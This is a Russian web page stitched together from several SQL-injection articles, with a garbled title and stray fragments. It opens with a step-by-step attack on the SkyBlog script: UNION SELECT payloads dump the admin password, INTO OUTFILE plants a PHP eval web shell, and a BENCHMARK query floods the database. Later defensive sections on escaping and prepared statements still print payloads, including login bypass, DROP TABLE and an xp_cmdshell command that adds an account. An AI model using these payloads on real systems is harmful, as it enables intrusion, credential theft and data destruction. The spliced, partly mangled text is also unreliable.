Написание правил в спорте для sql инъекций. SQL-инъекции. Объединение запросов с UNION SELECT

Написание правил в спорте для sql инъекций. SQL-инъекции. Объединение запросов с UNION SELECT

13.03.2019

Приветствую всех! В этой теме я покажу примеры SQL injection. Хочу продемонстрировать, насколько опасны могут быть скрипты и сайты. Если вы вообще в этом нечего не понимаете, пропустите весь текст и насладитесь видеороликами, которые представлены ниже.

Все буду показывать на примере SkyBlog.

Получение логина и пароля админ центра

Чтобы осуществить взлом, надо знать основы SQL запросов и найти уязвимость на сайте.

Пункт 1. Поиск уязвимостей.

На двух страницах SkyBlog есть уязвимость - пропущен фильтр одинарных кавычек

  1. index.php?catid="
  2. wievblog.php?id="

Чтобы изменить стандартный запрос в базу - на свой запрос, мы введем:

index.php?catid=-1"+UNION+SELECT+1,2,3,4,5+--+1

Примечание. Начальный запрос: "SELECT * FROM skyblog_cat WHERE id="$catid" "
Наш запрос: "SELECT * FROM skyblog_cat WHERE id="-1"+UNION+SELECT+1,2,3,4,5+--+1""

catid=-1" - несуществующее значение
UNION - объединение запросов
SELECT ... - собственно наш запрос

На странице index выведет 5, а это значит - будем менять идентичное значение.

Пункт 2. Определение таблиц.

У SkyBlog все таблицы одинаковы, так что можете перейти к 4 пункту.

В основном на всех серверах есть база information_ schema . В ней хранятся все таблицы и поля.
Чтобы найти нужную нам таблицу, изменим запрос:
index.php?catid=-1"+UNION+SELECT+1,2,3,4,+TABLE_NAME+FROM+information_schema.tables+LIMIT+1,+1+--+1

Где TABLE_NAME - название таблиц, а TABLES - таблица, в которой ищем с помощью LIMIT, его перебираем вручную. В конечном итоге мы найдем таблицу skyblog_nastr .

Пункт 3. Поиск существующих полей в таблицах.

index.php?catid=-1"+UNION+SELECT+1,2,3,4,+COLUMN_NAME+FROM +information_schema.columns+WHERE+TABLE_NAME="skyblog_nastr"+LIMIT+2,+1+--+1

В таблице COLUMNS содержатся значения всех полей во всех таблицах, поэтому мы будем искать поля только в skyblog_nastr. Все аналогично пункту 2.

Мы узнаем, что логин хранится в поле name , а пароль в поле pass (причем не в захешированном виде).

Пункт 4. Получаем логин и пароль от админки.

Путем легких манипуляций. Мы с легкостью выводим логин:

index.php?catid=-1"+UNION+SELECT+1,2,3,4,name+FROM+skyblog_nastr+--+1

и пароль:

index.php?catid=-1"+UNION+SELECT+1,2,3,4,pass+FROM+skyblog_nastr+--+1

После чего полученные данные вводим в системе авторизации, которая находится по адресу:

http://example/ admin/

Полный доступ к сайту. Удаленное создание файлов.

Как вы думаете, можно ли загрузить файл через SQL injection? Конечно, нет! Загрузить файл не получиться, зато можно его создать! Воспользуемся запросом INTO OUTFILE . Функция удобна, когда надо выгрузить результаты запроса. Нам лишь надо будет подделать результат запроса и найти путь до сайта.

index.php?catid=-1"+UNION+SELECT+1,2,3,"Hello+world!",5+INTO+OUTFILE+"1.php"+--+1

Сервер ошибок не вывел, а это значит - функция сработала. Вот только где создался файл? Чтобы это узнать добавим перед 1.php какую-нибудь левую папку (например: home/1.php).

Если мы не угадали, то выведет ошибку: Can"t create/write to file "\usr\local\mysql-5.1\data\home\1.php" (Errcode: 2)

Она нам пишет, что не может создать/заменить файл, и выводит полный путь от корня сервера.

Собственно нам надо подняться на 4 папки вверх, чтобы попасть в корень сервера, и там уже методом научного тыка, найти путь до сайта.

index.php?catid=-1"+UNION+SELECT+1,2,3,"Hello+world!",5%20INTO+OUTFILE+"../../../../home/example/www/1.txt"+--+1

Примечание . Данный пример показывает, что я выхожу на 4 папки вверх, дальше иду в направлении: home > example > www.

  • htdocs/
  • www/example (и на оборот)
  • public_html/
  • example/html (и на оборот)

Ура! Наш файл находится по адресу: http://example/1.txt

А вывел он нам: 1 2 3 hello world! 5

Управление взломанным сайтом.

Мы смогли удаленно создать файл на сервере, но что нас останавливает добить этот скрипт? Останавливает нас только совесть. Ничего, она со мной в доле. Так что я продолжу издеваться над скриптом.

Нам пригодятся знания PHP.

Пункт 1. Исполняющий скрипт.

Мы знаем путь для создания файла: ../../../../home/example/www/

Сейчас мы создадим скрипт

Eval($_GET[x]);

Примечание. mixed eval (string $code_str)
Исполняет строку, переданную в параметре code_str, как код PHP.

http://example/index.php?catid=-1"+UNION+SELECT+1,2,3,"", 5+INTO+OUTFILE+"../../../../home/example/www/1.php"+--%201

Проверяем существование файла: example/1.php ... Мы создали монстра.

Пункт 2. Исходный код сайта.

Теперь будем управлять сайтом через наш новый скрипт.

$s=file_get_contents ("index.php");
echo nl2br(htmlspecialchars($s));

Примечание. file_get_contents() возвращает содержимое файла в строке

example/1.php?x=$s=file_get_contents+("index.php");+echo+nl2br(htmlspecialchars($s));

Мы получим исходный код главного файла. Там мы найдем уже путь, хост, логин и пароль к MySql

Пункт 3. Создание файла PHP.

Давайте теперь создадим файл на сервере, используя наш новый скрипт.

Код создания файла:

$str = "Hello World!";
$file = fopen ("2.php","w");
fputs ($file, $str);
fclose ($file);

В переменную $str мы будем заносить наш зловредный код.

DDOS базы данных MySQL, используя SQL injection

Запрос для ддоса выглядит так:

SELECT BENCHMARK(300000,md5(current_time))

Это действие сервер выполнить примерно за 1 сек.

SELECT BENCHMARK(300000, BENCHMARK(500000,md5(current_time)))

Я не знаю как долго он это будет делать, но думаю прилично долго

SQL-инъекции — встраивание вредоносного кода в запросы к базе данных — наиболее опасный вид атак. С использованием SQL-инъекций злоумышленник может не только получить закрытую информацию из базы данных, но и, при определенных условиях, внести туда изменения.

Уязвимость по отношению к SQL-инъекциям возникает из-за того, что пользовательская информация попадает в запрос к базе данных без должной обработке: чтобы скрипт не был уязвим, требуется убедиться, что все пользовательские данные попадают во все запросы к базе данных в экранированном виде. Требование всеобщности и является краеугольным камнем: допущенное в одном скрипте нарушение делает уязвимой всю систему.

Пример уязвимости

Предположим, имеется скрипт, отображающий список пользователей из данного города, принимающий в качестве GET-параметра id города. Обращение к скрипту будет происходить с помощью HTTP по адресу /users.php?cityid=20

В скрипте выше разработчик вставляет GET-параметр в SQL-запрос, подразумевая, что в GET-параметре всегда будет число. Злоумышленник может передать в качестве параметра строку и тем самым повредить запрос. Например, он обратится к скрипту как /users.php?cityid=20; DELETE * FROM users
SQL-запрос получится таким:

Запрос выполнится, и скрипт выдаст не только пользователей из заданного города, но и список всех пользователей, у которых вместо реального имени отобразится пароль.

Как защититься?

Давайте заключим пользователькую информацию в одинарные кавычки. Поможет ли это?

Из примера выше видно, что заключить в одиночные кавычки недостаточно. Необходимо также экранировать все кавычки, содержащиеся в строке. Для этого в PHP предусмотрена функция mysql_real_escape_string(), которая добавляет обратный слеш перед каждой кавычкой, обратной кавычкой и некоторыми другим спецсимволами. Рассмотрим код:

Итак, чтобы защититься от SQL-инъекций, все внешние параметры, которые могут содержать текст, должны быть перед включением в SQL-запрос обработаны с помощью mysql_real_escape_string() и заключены в одиночные кавычки.

Если известно, что параметр должен принимать числовое значение числовым, его можно привести к числовому виду явно с помощью функции intval() или floatval() . В данном примере мы могли бы использовать:

$sql = "SELECT username, realname
FROM users
WHERE cityid=""
.intval ( $_GET [ "cityid" ]) .""" ;

Отличия mysql_real_escape_string() и mysql_escape_string()

mysql_real_escape_string() является усовершенствованной версией функции mysql_escape_string(), широко применяемой для формирования безопасных запросов к БД MySQL. Отличия этих двух функций в том, что mysql_real_escape_string() правильно работает с многобайтовыми кодировками.

Предположим, в обрабатываемых данных есть символ (скажем, в UTF-8), код которого состоит из двух байт — шестнадцатеричных 27 и 2B (десятичные 39 и 43 соответственно). mysql_escape_string() воспринимает каждый байт передаваемых ей данных как отдельный символ (точнее, как код отдельного символа) и решит, что последовательность байт 27 и 2B — это два разных символа: одинарная кавычка (") и плюс (+). Поскольку функция воспринимает кавычку как специальный символ, перед байтом с кодом 27, который на самом деле является частью какого-то безобидного символа, будет добавлен слэш (\). В результате данные отправятся в базу в искаженном виде.

Стоит отметить, что mysql_real_escape_string() работает правильно во всех случаях и может полностью заменить mysql_escape_string().

mysql_real_escape_string() доступна в PHP с версии 4.3.0.

Дополнительные примеры

Мы рассмотрели наиболее простой пример, но на практике уязвимый запрос может быть более сложным и не отображать свои результаты пользователю. Далее рассмотрим примеры SQL-инъекций в некоторых более сложных случаях, не претендуя на полноту.

Инъекция в сложных запросах

В простейшем примере была возможность встроить код в конец SQL-запроса. На практике в конце SQL-запроса могут быть дополнительные условия, операторы сортировки, группировки и другие SQL-конструкции. В каждом конкретном случае, злоумышленник постарается встроить вредоносный кусок таким образом, чтобы запрос в целом остался синтаксически корректным, но выполнял другую функцию. Здесь мы рассмотрим простейший пример уязвимого запроса с дополнительным условием.

В результате условие age<35 не будет влиять на выборку, т.к. оператор OR имеет более низкий приоритет, чем AND, и WHERE из приведённого выше запроса по-другому можно записать в виде WHERE (cityid="20" AND 1 ) OR ("1" AND age<"35" ) (напомним, что выражение WHERE 1 истинно всегда). В результате под условие подойдут и те строки, у которых cityid="20", и те, у которых age<35, причем наличие последних не обязательно.

В случае сложных запросов успешные SQL-иъекции требуют некоторой изобретательности, но можно ожидать, что у злоумышленников она имеется.

Результаты запроса не отображаются пользователю

Может оказаться, что уязвимым является запрос, результаты которого не отображаются пользователю. Это может быть, например, вспомогательный запрос:

$sql = "SELECT count(*)
FROM users
WHERE userid=""
.$_GET [ "userid" ] .""" ;

Запрос выше всего лишь проверяет наличие пользователя с данным userid: если он возвращает любую отличную от нуля величину — показывается профиль пользователя с соответствующим userid, если же возвращён 0 (то есть, нет пользователей, удовлетворяющих критерию запроса) — сообщение "пользователь не найден".

В этом случае определение пароля (или другой информации) производится перебором. Взломщик передает в качестве параметра userid строку 2" AND password LIKE "a% . Итоговый запрос:

SELECT count (*) FROM users WHERE userid= "2" AND password LIKE "a% "

Взломщик получит "пользователь не найден", если пароль не начинается на букву "a", или стандартную страницу с профилем пользователя, в противном случае. Перебором определяется первая буква пароля, затем вторая и.т.д.

Выводы

  • Все запросы, использующие внешние данные, требуется защитить от SQL-инъекций. Внешние данные могут быть переданы не только в качестве GET-параметров, но и методом POST, взяты из COOKIE, со сторонних сайтов или из базы данных, в которую пользователь имел возможность занести информацию.
  • Все числовые параметры следует явно преобразовывать в числовой вид с помощью функций intval() и floatval()
  • Все строковые параметры следует экранировать с помощью mysql_real_escape_string() и заключать в кавычки.
  • Если построить SQL-инъекцию сложно, не следует ожидать, что злоумышленник не догадается как это сделать. Особенно это относится к движкам, исходный код которых является публичным.

Удачи в построении безопасных приложений!

Many web developers are unaware of how SQL queries can be tampered with, and assume that an SQL query is a trusted command. It means that SQL queries are able to circumvent access controls, thereby bypassing standard authentication and authorization checks, and sometimes SQL queries even may allow access to host operating system level commands.

Direct SQL Command Injection is a technique where an attacker creates or alters existing SQL commands to expose hidden data, or to override valuable ones, or even to execute dangerous system level commands on the database host. This is accomplished by the application taking user input and combining it with static parameters to build an SQL query. The following examples are based on true stories, unfortunately.

Owing to the lack of input validation and connecting to the database on behalf of a superuser or the one who can create users, the attacker may create a superuser in your database.

Example #1 Splitting the result set into pages ... and making superusers (PostgreSQL)

$offset = $argv [ 0 ]; // beware, no input validation!
$query = $offset ;" ;
$result = pg_query ($conn , $query );

?>

Normal users click on the "next", "prev" links where the $offset is encoded into the URL . The script expects that the incoming $offset is a decimal number. However, what if someone tries to break in by appending a urlencode() "d form of the following to the URL If it happened, then the script would present a superuser access to him. Note that 0; is to supply a valid offset to the original query and to terminate it.

It is common technique to force the SQL parser to ignore the rest of the query written by the developer with -- which is the comment sign in SQL.

A feasible way to gain passwords is to circumvent your search result pages. The only thing the attacker needs to do is to see if there are any submitted variables used in SQL statements which are not handled properly. These filters can be set commonly in a preceding form to customize WHERE, ORDER BY, LIMIT and OFFSET clauses in SELECT statements. If your database supports the UNION construct, the attacker may try to append an entire query to the original one to list passwords from an arbitrary table. Using encrypted password fields is strongly encouraged.

The static part of the query can be combined with another SELECT statement which reveals all passwords:

" union select "1", concat(uname||"-"||passwd) as name, "1971-01-01", "0" from usertable; --

If this query (playing with the " and -- ) were assigned to one of the variables used in $query , the query beast awakened.

SQL UPDATE"s are also susceptible to attack. These queries are also threatened by chopping and appending an entirely new query to it. But the attacker might fiddle with the SET clause. In this case some schema information must be possessed to manipulate the query successfully. This can be acquired by examining the form variable names, or just simply brute forcing. There are not so many naming conventions for fields storing passwords or usernames.

But a malicious user sumbits the value " or uid like"%admin% to $uid to change the admin"s password, or simply sets $pwd to hehehe", trusted=100, admin="yes to gain more privileges. Then, the query will be twisted:

// $uid: " or uid like "%admin%
$query = "UPDATE usertable SET pwd="..." WHERE uid="" or uid like "%admin%";" ;

// $pwd: hehehe", trusted=100, admin="yes
$query = "UPDATE usertable SET pwd="hehehe", trusted=100, admin="yes" WHERE
...;"
;

?>

A frightening example how operating system level commands can be accessed on some database hosts.

If attacker submits the value a%" exec master..xp_cmdshell "net user test testpass /ADD" -- to $prod , then the $query will be: MSSQL Server executes the SQL statements in the batch including a command to add a new user to the local accounts database. If this application were running as sa and the MSSQLSERVER service is running with sufficient privileges, the attacker would now have an account with which to access this machine.

Some of the examples above is tied to a specific database server. This does not mean that a similar attack is impossible against other products. Your database server may be similarly vulnerable in another manner.

Example #5 A more secure way to compose a query for paging

settype ($offset , "integer" );
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset ;" ;

// please note %d in the format string, using %s would be meaningless
$query = sprintf ("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;" ,
$offset );

?>

  • If the database layer doesn"t support binding variables then quote each non numeric user supplied value that is passed to the database with the database-specific string escape function (e.g. mysql_real_escape_string() , sqlite_escape_string() , etc.). Generic functions like addslashes() are useful only in a very specific environment (e.g. MySQL in a single-byte character set with disabled NO_BACKSLASH_ESCAPES) so it is better to avoid them.
  • Do not print out any database specific information, especially about the schema, by fair means or foul. See also Error Reporting and Error Handling and Logging Functions .
  • You may use stored procedures and previously defined cursors to abstract data access so that users do not directly access tables or views, but this solution has another impacts.
  • Besides these, you benefit from logging queries either within your script or by the database itself, if it supports logging. Obviously, the logging is unable to prevent any harmful attempt, but it can be helpful to trace back which application has been circumvented. The log is not useful by itself, but through the information it contains. More detail is generally better than less.

    Мы желаем вам успехов в его прохождении. Итоги вашего прохождения будут опубликованы позже (следите за новостями в соц. сетях), а также всем прошедшим в дальнейшем будет выслан инвайт для регистрации на сайте.

    Ставьте лайки, делитесь с друзьями и коллегами, репостите в соц.сетях.

    Все программисты читали или по крайней мере слышали о методах взлома безопасности веб-сайта. Или даже столкнулись с этой проблемой. С другой стороны, бесконечна фантазия тех, кто хочет сломать сайт, поэтому все узкие места должны быть хорошо защищены. Вот почему я хотел бы начать серию коротких статей, где будут представлены основные методы и приемы взлома веб-сайтов.

    В первой статье я хотел бы описать и разъяснить некоторые общие методы взлома одного из самых уязвимых частей сайта — форм. Я буду подробно останавливаться на том, как использовать эти методы и как предотвратить атаки, а также расскажу о тестировании безопасности.

    SQL инъекции

    SQl-инъекция — это такая техника, когда злоумышленник вводит команды SQL в input поле на веб-странице. Этим imput`ом может быть что угодно — текстовое поле в форме, параметры _GET и _POST, cookies и т. д. Этот метод был весьма эффективным до появления фреймворков в мире PHP. Но этот способ взлома может быть по-прежнему опасен, если вы не используете ORM или какие-либо еще расширения для data object. Почему? Из-за способа передачи параметров в SQL запрос.

    "Слепые" инъекции

    Давайте начнем с классического примера SQL-statement`а, возвращающего пользователя по его логину и хешу от пароля (страница входа)

    Пример 1

    mysql_query ("SELECT id, login FROM users WHERE login = ? and password = hash(?)");

    Я подставил вопросительные знаки в выражение из-за различных вариаций этого решения. Первый вариант, на мой взгляд, самый уязвимый:

    Пример 1а

    Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");

    В этом случае в коде нет проверки на ввод неправильных данных. Значения передаются прямо из формы ввода в SQL запрос. В самом лучшем случае пользователь введет здесь свои логин и пароль. Что случится в худшем случае? Давайте попробуем хакнуть эту форму. Это можно сделать, передав "подготовленные" данные. Попытаемся войти как первый пользователь из базы данных, а в большинстве случаев — это админский аккаунт. Для этого, передадим специальную строку вместо ввода логина:

    " OR 1=1; --

    Первая кавычка может быть и одинарной, поэтому одной попыткой взлома можно не обойтись. В конце стоят точка с запятой и два дефиса, чтобы всё, что идёт после превратилось в комментарий. В результате будет выполнен следующий SQL запрос:

    SELECT id, login FROM users WHERE login = “;” OR 1=1 LIMIT 0,1; - and password = hash(“;Some password”)

    Он вернет первого пользователя из базы данных и, возможно, залогинится под ним в приложении. Хорошим ходом будет добавить LIMIT, чтобы входить под каждым отдельным пользователем. Это единственное, что нужно, чтобы пройти по каждому значению.

    Более серьезные способы

    В предыдущем примере всё не так уж страшно. Возможности в админской панели управления всегда имеют ограничения и потребуется реально много работы, чтобы поломать сайт. А вот атака через SQL инъекции может привести к куда большим повреждениям системы. Задумайтесь, сколько приложений создаются с главной таблицей "users" , и что будет, если злоумышленник введет такой код в незащищённую форму:

    My favorite login"; DROP TABLE users; --

    Таблица "users" будет удалена. Это одна из причин почаще делать бэкапы баз данных.

    _GET параметры

    Все параметры, заполненные через форму, передаются на сервер одним из двух методов — GET или POST. Наиболее распространенный параметр, передаваемый через GET — id. Это одно из самых уязвимых мест для атак, при этом неважно, какого вида урл вы используете — ` http://example.com/users/?id=1 `, или ` http://example.com/users/1 `, или ` http://......./.../post /35 `.

    Что произойдет, если мы подставим в урл следующий код?

    Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

    Вероятно, такой запрос вернет нам логин пользователя и... хеш от его пароля. Первая часть запроса `AND 1=0` превращает то, что перед ним в false, соответственно никаких записей не будет получено. А вторая часть запроса вернет данные в виде prepared data. А так как первым параметром идет id, следующим будет логин пользователя и хеш его пароля и еще сколько-то параметров. Существует множество программ, с помощью брутфорса декодирующих такой пароль, как в примере. А так как пользователь может использовать один и тот же пароль для разных сервисов, можно получить доступ и к ним.

    И вот что любопытно: от такого способа атаки совершенно невозможно защититься методами вроде `mysql_real_escape_string`, `addslashes` и.т. д. В принципе, нет способа избежать такой атаки, поэтому, если параметры будут передаваться так:

    "SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

    проблемы не исчезнут.

    Экранирование символов в строке

    Когда я был новичком в программировании, мне было тяжело работать с кодировками. Я не понимал, в чем между ними различие, зачем использовать UTF-8, когда нужно UTF-16, почему база данных постоянно устанавливает кодировку в latin1. Когда я наконец начал всё это понимать, то обнаружил, что проблем станет меньше, если хранить всё в одном стандарте кодирования. Разбираясь со всем этим, я заметил также и проблемы безопасности, возникающие при преобразовании из одной кодировки в другую.

    Проблем, описанных в большинстве предыдущих примеров, можно избежать, используя одинарные кавычки в запросах. Если вы используете addslashes() , атаки через SQL-инъекции, построенные на использовании одинарных кавычек, экранируемых обратным слэшем, потерпят неудачу. Но такая атака может пройти, если просто подставить символ с кодом 0xbf27 , addslashes() преобразует его в символ с кодом 0xbf5c27 - а это вполне валидный символ одинарной кавычки. Другими словами, `뼧` пройдет через addslashes() , а потом маппинг MySQL конвертирует его в два символа 0xbf (¿) и 0x27 (‘).

    "SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

    Этот пример можно хакнуть, передав 뼧 or 1=1; -- в поле логина в форме. Движок SQL сгенерит конечный запрос так:

    SELECT * FROM users WHERE login = "¿" OR 1=1; --

    И вернет первого пользователя из БД.

    Защита

    Как же защитить приложение? Есть куча способов, применение которых не сделает приложение совсем неуязвимым, но хотя бы повысит его защищенность.

    Использование mysql_real_escape_string

    Функция addslashes() ненадежна, так как не предусматривает многие случаи взлома. У mysql_real_escape_string нет таких проблем

    Использование MySQLi

    Это расширение для MySQL умеет работать со связанными параметрами:

    $stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

    Использование PDO

    Длинный способ подстановки параметров:

    $dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // insert one row $name = "one"; $value = 1; $stmt->execute();

    Короткий способ:

    $dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

    Использование ORM

    Используйте ORM и PDO и связывайте (используйте bind) параметры. Избегайте SQL в коде, если вы видите в коде SQL, значит, с ним что-то не так.

    ORM позаботится о безопасности в самых узких местах в коде и о валидации параметров.

    Выводы

    Цель этой серии не предоставить полное руководство по взлому сайтов, а обеспечить безопасность приложения и предотвращение атак из любого источника. Я постарался написать эту статью не только для программистов — они должны быть в курсе любых угроз в коде и знать пути, как предотвратить их, но также и для инженеров по качеству — потому, что их работа заключается в том, чтобы отследить и сообщить такие моменты.

    Простейшая SQL инъекция для чайников


    В этой статье я объясню основы SQL Injection с примером, который показывает SQL-инъекцию.

    Как следует из названия, эту атаку можно выполнить с помощью SQL-запросов. Многие веб-разработчики не знают, как злоумышленник может вмешиваться в SQL-запросы. SQL-Injection может выполняться в веб-приложении, которое не фильтрует вход пользователя должным образом и не доверяет тому, что предоставляет пользователь. Идея SQL-инъекции - заставить приложение запускать нежелательные SQL-запросы.

    Конечно, мы не хакеры, но чтобы уметь защищаться, надо понимать, как действует враг. Все примеры, упомянутые в этой статье, протестированы на такой конфигурации:

    • PHP version: 5.4.45
    • Веб-сервер:Apache
    • Тип сервера баз данных: MariaDB
    • Версия сервера: 10.1.26-MariaDB
    Пример внедрения SQL

    Большинство веб-приложений имеют страницу входа. Поэтому мы начнем с этого. Предположим, что есть такая форма:

    Имя пользователя: Пароль
    Когда пользователь вводит имя пользователя и пароль, он будет отправлен на sql.php через метод HTTP_POST: Пример максимально упрощен для понимания. Что здесь происходит? Мы , а затем к таблице «test_in» делаем запрос на выборку. Если поля имя пользователя и пароль совпадают, то в результате функция mysql_fetch_row() будет выдавать хотя бы один результат, то есть отличаться от “false”. Пятая строка в данном php-скрипте уязвима. Попробуйте оставить поле пароля пустым, а в логин ввести следующее:

    Тогда результат всегда будет "Вы вошли"!

    То есть мы получаем доступ к информации, которая должна по идее выдаваться только пользователю, знающему связку «логин-пароль». Почему так происходит?

    Дело в том, что тогда выполняется вот такая строка:

    SELECT * from test_in where user_name="" OR 1=1 -- " and password="" А здесь условие такое: или имя пользователя должно быть равным ничему или же единица должна быть единице. Понятно, что последнее условие выполняться всегда, поэтому и результат будет отличным от “false”. А чтобы не выполнялось еще одно условие (проверка на пароль) – мы закомментируем конец строки. Не забудьте только после перед двумя тире поставить хотя бы один пробел – иначе будет ошибка синтаксиса.

    Понятно, что для того, чтобы выполнить такой запрос, надо хотя бы знать, как именно происходит авторизация пользователя. Однако, у взломщиков есть множество шаблонов для sql-инъекций.

    Итак, в этой статье мы научились создавать простейшую sql-инъекцию. В следующий статьях я разовью данную тему, а также научу, как защищаться от несанкционированного доступа. А если вам требуется проверить вашу систему, то вы можете



    © 2024 beasthackerz.ru - Браузеры. Аудио. Жесткий диск. Программы. Локальная сеть. Windows